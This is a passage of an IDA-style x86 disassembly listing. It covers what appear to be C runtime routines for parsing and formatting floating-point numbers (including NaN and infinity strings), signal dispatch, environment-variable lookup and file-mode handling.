jz loc_4251AB cmp bl, 2Bh jz short loc_425125 cmp bl, 2Dh jz short loc_425125 cmp bl, 30h jz short loc_425150 loc_4250FE: ; CODE XREF: sub_42501D+207j cmp bl, 43h jle loc_425390 cmp bl, 45h jle short loc_42511E cmp bl, 63h jle loc_425390 cmp bl, 65h jg loc_425390 loc_42511E: ; CODE XREF: sub_42501D+EDj push 6 jmp loc_4252ED ; --------------------------------------------------------------------------- loc_425125: ; CODE XREF: sub_42501D+D5j ; sub_42501D+DAj ... dec edi push 0Bh jmp loc_4252ED ; --------------------------------------------------------------------------- loc_42512D: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp bl, 31h ; jumptable 00425080 case 2 jl short loc_42513B cmp bl, 39h jle loc_425091 loc_42513B: ; CODE XREF: sub_42501D+113j cmp bl, byte_442770 jz loc_4250A0 cmp bl, 30h jnz loc_425305 loc_425150: ; CODE XREF: sub_42501D+9Fj ; sub_42501D+DFj mov eax, edx jmp loc_425074 ; --------------------------------------------------------------------------- loc_425157: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo mov [ebp+var_10], edx ; jumptable 00425080 case 3 loc_42515A: ; CODE XREF: sub_42501D+184j cmp dword_44276C, edx jle short loc_425173 movzx eax, bl push esi push eax call sub_41F37A pop ecx pop ecx push 1 pop edx jmp short loc_425181 ; --------------------------------------------------------------------------- loc_425173: ; CODE XREF: sub_42501D+143j mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425181: ; CODE XREF: sub_42501D+154j test eax, eax jz short loc_4251A3 cmp [ebp+var_4], 19h jnb short loc_42519B mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_42519E ; --------------------------------------------------------------------------- loc_42519B: ; CODE XREF: sub_42501D+16Cj inc [ebp+var_8] loc_42519E: ; CODE XREF: sub_42501D+17Cj mov bl, [edi] inc edi jmp short loc_42515A ; --------------------------------------------------------------------------- loc_4251A3: ; CODE XREF: sub_42501D+166j cmp bl, byte_442770 jnz short loc_425212 loc_4251AB: ; CODE XREF: sub_42501D+CCj mov eax, esi jmp loc_425074 ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp [ebp+var_4], 0 ; jumptable 00425080 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_4251CB loc_4251BE: ; CODE XREF: sub_42501D+1ACj cmp bl, 30h jnz short loc_4251CB dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_4251BE ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42501D+19Fj ; sub_42501D+1A4j ... cmp dword_44276C, edx jle short loc_4251E4 movzx eax, bl push esi push eax call sub_41F37A pop ecx pop ecx push 1 pop edx jmp short loc_4251F2 ; --------------------------------------------------------------------------- loc_4251E4: ; CODE XREF: sub_42501D+1B4j mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4251F2: ; CODE XREF: sub_42501D+1C5j test eax, eax jz short loc_425212 cmp [ebp+var_4], 19h jnb short loc_42520D mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_42520D: ; CODE XREF: sub_42501D+1DDj mov bl, [edi] inc edi jmp short loc_4251CB ; --------------------------------------------------------------------------- loc_425212: ; CODE XREF: sub_42501D+18Cj ; sub_42501D+1D7j cmp bl, 2Bh jz loc_425125 cmp bl, 2Dh jz loc_425125 jmp loc_4250FE ; --------------------------------------------------------------------------- loc_425229: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp dword_44276C, edx ; jumptable 00425080 case 5 mov [ebp+var_24], edx jle short loc_425245 movzx eax, bl push esi push eax call sub_41F37A pop ecx pop ecx push 1 loc_425242: ; DATA XREF: .nsp0:0044041Co pop edx jmp short loc_425253 ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_42501D+215j mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425253: ; CODE XREF: sub_42501D+226j test eax, eax jz loc_425305 mov eax, esi jmp short loc_4252B6 ; --------------------------------------------------------------------------- loc_42525F: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo lea ecx, [edi-2] ; jumptable 00425080 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42526F cmp bl, 39h jle short loc_4252B3 loc_42526F: ; CODE XREF: sub_42501D+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4252EB dec eax dec eax jz short loc_4252DF sub eax, 3 jnz loc_425393 loc_425284: ; CODE XREF: sub_42501D+2A4j push 8 jmp short loc_4252ED ; --------------------------------------------------------------------------- loc_425288: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo mov [ebp+var_20], edx ; jumptable 00425080 case 8 loc_42528B: ; CODE XREF: sub_42501D+276j cmp bl, 30h jnz short loc_425295 mov bl, [edi] inc edi jmp short loc_42528B ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_42501D+271j cmp bl, 31h jl loc_425390 cmp bl, 39h jg loc_425390 jmp short loc_4252B3 ; --------------------------------------------------------------------------- loc_4252A9: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp bl, 31h ; jumptable 00425080 case 7 jl short loc_4252BC cmp bl, 39h jg short loc_4252BC loc_4252B3: ; CODE XREF: sub_42501D+250j ; sub_42501D+28Aj push 9 loc_4252B5: ; CODE XREF: sub_42501D+76j pop eax loc_4252B6: ; CODE XREF: sub_42501D+240j dec edi jmp loc_425074 ; --------------------------------------------------------------------------- loc_4252BC: ; CODE XREF: sub_42501D+28Fj ; sub_42501D+294j cmp bl, 30h jnz short loc_425305 jmp short loc_425284 ; --------------------------------------------------------------------------- loc_4252C3: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo cmp [ebp+arg_18], 0 ; jumptable 00425080 case 11 jz short loc_4252F3 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4252EB dec eax dec eax jnz loc_425393 loc_4252DF: ; CODE XREF: sub_42501D+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425074 ; --------------------------------------------------------------------------- loc_4252EB: ; CODE XREF: sub_42501D+258j ; sub_42501D+2B8j push 7 loc_4252ED: ; CODE XREF: sub_42501D+85j ; sub_42501D+103j ... pop eax jmp loc_425074 ; --------------------------------------------------------------------------- loc_4252F3: ; CODE XREF: sub_42501D+2AAj push 0Ah dec edi pop eax loc_4252F7: ; CODE XREF: sub_42501D+5Dj ; sub_42501D+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425080 case 10 jz loc_425395 jmp loc_425074 ; --------------------------------------------------------------------------- loc_425305: ; CODE XREF: sub_42501D+12Dj ; sub_42501D+238j ... mov edi, [ebp+arg_8] jmp loc_425395 ; --------------------------------------------------------------------------- loc_42530D: ; CODE XREF: sub_42501D+63j ; DATA XREF: .nsp0:off_4254BEo mov [ebp+var_20], 1 ; jumptable 00425080 case 9 xor esi, esi loc_425316: ; CODE XREF: sub_42501D+339j cmp dword_44276C, 1 jle short loc_42532E movzx eax, bl push 4 push eax call sub_41F37A pop ecx pop ecx jmp short loc_42533D ; --------------------------------------------------------------------------- loc_42532E: ; CODE XREF: sub_42501D+300j mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42533D: ; CODE XREF: sub_42501D+30Fj test eax, eax jz short loc_42535D movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425358 mov bl, [edi] inc edi jmp short loc_425316 ; --------------------------------------------------------------------------- loc_425358: ; CODE XREF: sub_42501D+334j mov esi, 1451h loc_42535D: ; CODE XREF: sub_42501D+322j mov [ebp+var_1C], esi loc_425360: ; CODE XREF: sub_42501D+371j cmp dword_44276C, 1 jle short loc_425378 movzx eax, bl push 4 push eax call sub_41F37A pop ecx pop ecx jmp short loc_425387 ; --------------------------------------------------------------------------- loc_425378: ; CODE XREF: sub_42501D+34Aj mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425387: ; CODE XREF: sub_42501D+359j test eax, eax jz short loc_425390 mov bl, [edi] inc edi jmp short loc_425360 ; --------------------------------------------------------------------------- loc_425390: ; CODE XREF: sub_42501D+99j ; sub_42501D+E4j ... dec edi jmp short loc_425395 ; --------------------------------------------------------------------------- loc_425393: ; CODE XREF: sub_42501D+261j ; sub_42501D+2BCj mov edi, ecx loc_425395: ; CODE XREF: sub_42501D+2DDj ; sub_42501D+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_42547D push 18h pop eax cmp [ebp+var_4], eax jbe short loc_4253C1 cmp [ebp+var_45], 5 jl short loc_4253B5 inc [ebp+var_45] loc_4253B5: ; CODE XREF: sub_42501D+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_4253C4 ; --------------------------------------------------------------------------- loc_4253C1: ; CODE XREF: sub_42501D+38Dj mov eax, [ebp+var_C] loc_4253C4: ; CODE XREF: sub_42501D+3A2j cmp [ebp+var_4], 0 jbe loc_425473 loc_4253CE: ; CODE XREF: sub_42501D+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4253DC dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4253CE ; --------------------------------------------------------------------------- loc_4253DC: ; CODE XREF: sub_42501D+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_424F56 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4253FB neg eax loc_4253FB: ; CODE XREF: sub_42501D+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_425406 add eax, [ebp+arg_10] loc_425406: ; CODE XREF: sub_42501D+3E4j cmp [ebp+var_24], ecx jnz short loc_42540E sub eax, [ebp+arg_14] loc_42540E: ; CODE XREF: sub_42501D+3ECj cmp eax, 1450h jle short loc_425445 mov [ebp+var_2C], 1 loc_42541C: ; CODE XREF: sub_42501D+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_425428: ; CODE XREF: sub_42501D+454j ; sub_42501D+45Ej cmp [ebp+var_2C], 0 jz short loc_42548E xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_4254A3 ; --------------------------------------------------------------------------- loc_425445: ; CODE XREF: sub_42501D+3F6j cmp eax, 0FFFFEBB0h jge short loc_425455 mov [ebp+var_30], 1 jmp short loc_42541C ; --------------------------------------------------------------------------- loc_425455: ; CODE XREF: sub_42501D+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425C06 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_425428 ; --------------------------------------------------------------------------- loc_425473: ; CODE XREF: sub_42501D+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_425428 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_42501D+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_4254A3 ; --------------------------------------------------------------------------- loc_42548E: ; CODE XREF: sub_42501D+40Fj cmp [ebp+var_30], 0 jz short loc_4254A3 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_4254A3: ; CODE XREF: sub_42501D+426j ; sub_42501D+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_42501D endp ; --------------------------------------------------------------------------- off_4254BE dd offset loc_425087 ; DATA XREF: sub_42501D+63r dd offset loc_4250D6 ; jump table for switch statement dd offset loc_42512D dd offset loc_425157 dd offset loc_4251B2 dd offset loc_425229 dd offset loc_42525F dd offset loc_4252A9 dd offset loc_425288 dd offset loc_42530D dd offset loc_4252F7 dd offset loc_4252C3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254EE proc near ; CODE XREF: sub_424449+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425550 mov byte ptr [ebx+2], 2Dh jmp short loc_425554 ; --------------------------------------------------------------------------- loc_425550: ; CODE XREF: sub_4254EE+5Aj mov byte ptr [ebx+2], 20h loc_425554: ; CODE XREF: sub_4254EE+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42557A test edi, edi jnz short loc_42557A cmp [ebp+arg_0], edi jnz short loc_42557A loc_425565: ; CODE XREF: sub_4254EE+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425778 ; --------------------------------------------------------------------------- loc_42557A: ; CODE XREF: sub_4254EE+6Cj ; sub_4254EE+70j ... cmp dx, si jnz short loc_4255F9 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425593 cmp [ebp+arg_0], 0 jz short loc_4255A2 loc_425593: ; CODE XREF: sub_4254EE+9Dj test edi, 40000000h jnz short loc_4255A2 push offset a1Snan ; "1#SNAN" jmp short loc_4255E8 ; --------------------------------------------------------------------------- loc_4255A2: ; CODE XREF: sub_4254EE+A3j ; sub_4254EE+ABj test cx, cx jz short loc_4255BC cmp edi, 0C0000000h jnz short loc_4255BC cmp [ebp+arg_0], 0 jnz short loc_4255E3 push offset a1Ind ; "1#IND" jmp short loc_4255CB ; --------------------------------------------------------------------------- loc_4255BC: ; CODE XREF: sub_4254EE+B7j ; sub_4254EE+BFj cmp edi, eax jnz short loc_4255E3 cmp [ebp+arg_0], 0 jnz short loc_4255E3 push offset a1Inf ; "1#INF" loc_4255CB: ; CODE XREF: sub_4254EE+CCj lea eax, [ebx+4] push eax call sub_41C550 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4255DA: ; CODE XREF: sub_4254EE+109j and [ebp+var_4], 0 jmp loc_425751 ; --------------------------------------------------------------------------- loc_4255E3: ; CODE XREF: sub_4254EE+C5j ; sub_4254EE+D0j ... push offset a1Qnan ; "1#QNAN" loc_4255E8: ; CODE XREF: sub_4254EE+B2j lea eax, [ebx+4] push eax call sub_41C550 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4255DA ; --------------------------------------------------------------------------- loc_4255F9: ; CODE XREF: sub_4254EE+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425C06 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42565A lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_4259E6 pop ecx pop ecx loc_42565A: ; CODE XREF: sub_4254EE+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425674 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425677 jmp loc_425565 ; --------------------------------------------------------------------------- loc_425674: ; CODE XREF: sub_4254EE+173j mov edi, [ebp+arg_C] loc_425677: ; CODE XREF: sub_4254EE+17Fj cmp edi, 15h jle short loc_42567F push 15h pop edi loc_42567F: ; CODE XREF: sub_4254EE+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425695: ; CODE XREF: sub_4254EE+1B4j lea eax, [ebp+var_10] push eax call sub_424EFB dec [ebp+arg_14] pop ecx jnz short loc_425695 test esi, esi jge short loc_4256BF neg esi and esi, 0FFh jle short loc_4256BF loc_4256B2: ; CODE XREF: sub_4254EE+1CFj lea eax, [ebp+var_10] push eax call sub_424F29 dec esi pop ecx jnz short loc_4256B2 loc_4256BF: ; CODE XREF: sub_4254EE+1B8j ; sub_4254EE+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_42571C mov [ebp+arg_C], ecx loc_4256CF: ; CODE XREF: sub_4254EE+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_424EFB lea eax, [ebp+var_10] push eax call sub_424EFB lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_424E9D lea eax, [ebp+var_10] push eax call sub_424EFB mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4256CF mov eax, [ebp+arg_14] loc_42571C: ; CODE XREF: sub_4254EE+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425759 loc_425729: ; CODE XREF: sub_4254EE+248j cmp eax, ecx jb short loc_42573C cmp byte ptr [eax], 39h jnz short loc_425738 mov byte ptr [eax], 30h dec eax jmp short loc_425729 ; --------------------------------------------------------------------------- loc_425738: ; CODE XREF: sub_4254EE+242j cmp eax, ecx jnb short loc_425740 loc_42573C: ; CODE XREF: sub_4254EE+23Dj inc eax inc word ptr [ebx] loc_425740: ; CODE XREF: sub_4254EE+24Cj inc byte ptr [eax] loc_425742: ; CODE XREF: sub_4254EE+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425751: ; CODE XREF: sub_4254EE+F0j mov eax, [ebp+var_4] loc_425754: ; CODE XREF: sub_4254EE+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425759: ; CODE XREF: sub_4254EE+239j ; sub_4254EE+275j cmp eax, ecx jb short loc_425769 cmp byte ptr [eax], 30h jnz short loc_425765 dec eax jmp short loc_425759 ; --------------------------------------------------------------------------- loc_425765: ; CODE XREF: sub_4254EE+272j cmp eax, ecx jnb short loc_425742 loc_425769: ; CODE XREF: sub_4254EE+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425778: ; CODE XREF: sub_4254EE+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425754 sub_4254EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425781 proc near ; CODE XREF: sub_4223CC+225Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4257E8 dec eax dec eax jz short loc_4257D9 sub eax, 4 jz short loc_4257D9 sub eax, 3 jz short loc_4257D9 sub eax, 4 jz short loc_4257CC sub eax, 6 jz short loc_4257BF dec eax jz short loc_4257B2 or eax, 0FFFFFFFFh jmp loc_4258AA ; --------------------------------------------------------------------------- loc_4257B2: ; CODE XREF: sub_425781+27j mov esi, dword_4E17F4 mov eax, offset dword_4E17F4 jmp short loc_4257F3 ; --------------------------------------------------------------------------- loc_4257BF: ; CODE XREF: sub_425781+24j mov esi, dword_4E17F0 mov eax, offset dword_4E17F0 jmp short loc_4257F3 ; --------------------------------------------------------------------------- loc_4257CC: ; CODE XREF: sub_425781+1Fj mov esi, dword_4E17F8 mov eax, offset dword_4E17F8 jmp short loc_4257F3 ; --------------------------------------------------------------------------- loc_4257D9: ; CODE XREF: sub_425781+10j ; sub_425781+15j ... push edi call sub_4258AE mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4257F3 ; --------------------------------------------------------------------------- loc_4257E8: ; CODE XREF: sub_425781+Cj mov esi, dword_4E17EC mov eax, offset dword_4E17EC loc_4257F3: ; CODE XREF: sub_425781+3Cj ; sub_425781+49j ... cmp esi, 1 jnz short loc_4257FF xor eax, eax jmp loc_4258AA ; --------------------------------------------------------------------------- loc_4257FF: ; CODE XREF: sub_425781+75j test esi, esi jnz short loc_42580A push 3 call sub_41BE72 loc_42580A: ; CODE XREF: sub_425781+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_42581C cmp edi, 0Bh jz short loc_42581C cmp edi, 4 jnz short loc_425842 loc_42581C: ; CODE XREF: sub_425781+8Fj ; sub_425781+94j mov ebx, dword_4E15D0 and dword_4E15D0, 0 cmp edi, ecx jnz short loc_425871 mov edx, dword_442E3C mov dword_442E3C, 8Ch mov [ebp+arg_0], edx jmp short loc_425845 ; --------------------------------------------------------------------------- loc_425842: ; CODE XREF: sub_425781+99j mov ebx, [ebp+arg_0] loc_425845: ; CODE XREF: sub_425781+BFj cmp edi, ecx jnz short loc_425871 mov eax, dword_442E30 mov ecx, dword_442E34 add ecx, eax cmp eax, ecx jge short loc_425878 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:442DC0h[edx*4] loc_425866: ; CODE XREF: sub_425781+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425866 jmp short loc_425878 ; --------------------------------------------------------------------------- loc_425871: ; CODE XREF: sub_425781+AAj ; sub_425781+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425886 loc_425878: ; CODE XREF: sub_425781+D7j ; sub_425781+EEj push dword_442E3C push 8 call esi ; dword_4E17F4 pop ecx pop ecx jmp short loc_425894 ; --------------------------------------------------------------------------- loc_425886: ; CODE XREF: sub_425781+F5j push edi call esi ; dword_4E17F4 cmp edi, 0Bh pop ecx jz short loc_425894 cmp edi, 4 jnz short loc_4258A7 loc_425894: ; CODE XREF: sub_425781+103j ; sub_425781+10Cj cmp edi, 8 mov dword_4E15D0, ebx jnz short loc_4258A7 mov eax, [ebp+arg_0] mov dword_442E3C, eax loc_4258A7: ; CODE XREF: sub_425781+111j ; sub_425781+11Cj xor eax, eax pop ebx loc_4258AA: ; CODE XREF: sub_425781+2Cj ; sub_425781+79j pop edi pop esi pop ebp retn sub_425781 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4258AE proc near ; CODE XREF: sub_425781+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_442E38 cmp dword_442DBC, edx push esi mov eax, offset dword_442DB8 jz short loc_4258DC lea esi, [ecx+ecx*2] lea esi, ds:442DB8h[esi*4] loc_4258D0: ; CODE XREF: sub_4258AE+2Cj add eax, 0Ch cmp eax, esi jnb short loc_4258DC cmp [eax+4], edx jnz short loc_4258D0 loc_4258DC: ; CODE XREF: sub_4258AE+16j ; sub_4258AE+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:442DB8h[ecx*4] cmp eax, ecx jnb short loc_4258F0 cmp [eax+4], edx jz short locret_4258F2 loc_4258F0: ; CODE XREF: sub_4258AE+3Bj xor eax, eax locret_4258F2: ; CODE XREF: sub_4258AE+40j retn sub_4258AE endp ; =============== S U B R O U T I N E ======================================= sub_4258F3 proc near ; CODE XREF: sub_42464C+23p arg_0 = dword ptr 4 cmp dword_4E2B88, 0 push ebx push esi mov esi, dword_4E1520 push edi jz short loc_42596A test esi, esi jnz short loc_425924 cmp dword_4E1528, esi jz short loc_42596A call sub_425CC1 test eax, eax jnz short loc_42596A mov esi, dword_4E1520 test esi, esi jz short loc_42596A loc_425924: ; CODE XREF: sub_4258F3+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_42596A push ebx call sub_41B890 pop ecx mov edi, eax loc_425935: ; CODE XREF: sub_4258F3+6Dj mov eax, [esi] test eax, eax jz short loc_42596A push eax call sub_41B890 cmp eax, edi pop ecx jbe short loc_42595D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_42595D push edi push ebx push eax call sub_425C82 add esp, 0Ch test eax, eax jz short loc_425962 loc_42595D: ; CODE XREF: sub_4258F3+51j ; sub_4258F3+59j add esi, 4 jmp short loc_425935 ; --------------------------------------------------------------------------- loc_425962: ; CODE XREF: sub_4258F3+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_42596C ; --------------------------------------------------------------------------- loc_42596A: ; CODE XREF: sub_4258F3+10j ; sub_4258F3+1Cj ... xor eax, eax loc_42596C: ; CODE XREF: sub_4258F3+75j pop edi pop esi pop ebx retn sub_4258F3 endp ; =============== S U B R O U T I N E ======================================= sub_425970 proc near ; CODE XREF: .nsp0:00424DC1p ; .nsp0:00424E0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4E1920 jnb short loc_4259D7 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4E1820[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_4259D7 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_4259B0 and cl, 7Fh jmp short loc_4259BD ; --------------------------------------------------------------------------- loc_4259B0: ; CODE XREF: sub_425970+39j cmp [esp+4+arg_4], 4000h jnz short loc_4259CB or cl, 80h loc_4259BD: ; CODE XREF: sub_425970+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4259CB: ; CODE XREF: sub_425970+48j mov dword_4E14F8, 16h jmp short loc_4259E1 ; --------------------------------------------------------------------------- loc_4259D7: ; CODE XREF: sub_425970+Bj ; sub_425970+27j mov dword_4E14F8, 9 loc_4259E1: ; CODE XREF: sub_425970+65j or eax, 0FFFFFFFFh pop esi retn sub_425970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4259E6 proc near ; CODE XREF: sub_4254EE+165p ; sub_425C06+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425BE6 cmp cx, 7FFFh jnb loc_425BE6 cmp dx, 0BFFDh ja loc_425BE6 cmp dx, 3FBFh ja short loc_425A4F xor eax, eax jmp short loc_425A89 ; --------------------------------------------------------------------------- loc_425A4F: ; CODE XREF: sub_4259E6+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425A71 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425A71 xor eax, eax cmp [esi+4], eax jnz short loc_425A73 cmp [esi], eax jnz short loc_425A73 jmp loc_425BE0 ; --------------------------------------------------------------------------- loc_425A71: ; CODE XREF: sub_4259E6+71j ; sub_4259E6+79j xor eax, eax loc_425A73: ; CODE XREF: sub_4259E6+80j ; sub_4259E6+84j cmp cx, ax jnz short loc_425A96 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425A96 cmp [ebx+4], eax jnz short loc_425A96 cmp [ebx], eax jnz short loc_425A96 loc_425A89: ; CODE XREF: sub_4259E6+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425C01 ; --------------------------------------------------------------------------- loc_425A96: ; CODE XREF: sub_4259E6+90j ; sub_4259E6+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425AA6: ; CODE XREF: sub_4259E6+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425AFA add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425AC2: ; CODE XREF: 